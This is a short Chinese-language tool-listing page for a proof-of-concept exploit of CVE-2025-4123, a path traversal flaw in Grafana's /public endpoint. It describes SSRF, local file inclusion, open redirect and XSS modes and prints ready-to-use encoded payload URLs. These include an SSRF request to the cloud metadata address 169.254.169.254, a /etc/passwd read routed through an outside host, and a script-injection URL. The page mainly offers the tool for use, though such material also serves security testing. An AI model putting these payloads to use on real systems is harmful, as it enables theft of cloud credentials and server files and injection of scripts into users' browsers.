CVE-2025-4123-Exploit-Tool-Grafana- — CVE-2025-4123 - Grafana 工具 | Kitploit

分享

CVE-2025-4123 - Grafana 路径遍历漏洞利用工具

由 mitsec 开发

这是一个针对 CVE-2025-4123 的概念验证 (PoC) 漏洞利用工具，该漏洞是 Grafana 的 /public 端点中的一个严重路径遍历漏洞。该漏洞利用可以实现：

✅ 服务端请求伪造 (SSRF)
✅ 本地文件包含 (LFI)
✅ 开放重定向
✅ 跨站脚本攻击 (XSS)

🔥 受影响

Grafana 实例中 /public/ 端点未正确处理编码路径，例如：

/public/..%2F%5coast.pro%2F%3f%2F..%2F..

🚀 使用方法

python3 cve_2025_4123_exploit_mitsec_final.py

然后选择所需的模式：

SSRF - 内部服务，如 169.254.169.254
LFI - 读取文件，如 /etc/passwd
开放重定向 - 重定向到外部域名
XSS - 在公共路径中注入 JavaScript

[*] SSRF URL: http://127.0.0.1:3000/public/..%2F%5C169.254.169.254/latest/meta-data/%2F%3f%2F..%2F..
[*] LFI URL:  http://127.0.0.1:3000/public/..%2F%5coast.pro%2F%3f%2F..%2F..%2F..%2Fetc%2Fpasswd
[*] XSS URL:  http://127.0.0.1:3000/public/%3Cscript%3Ealert('mitsec')%3C%2Fscript%3E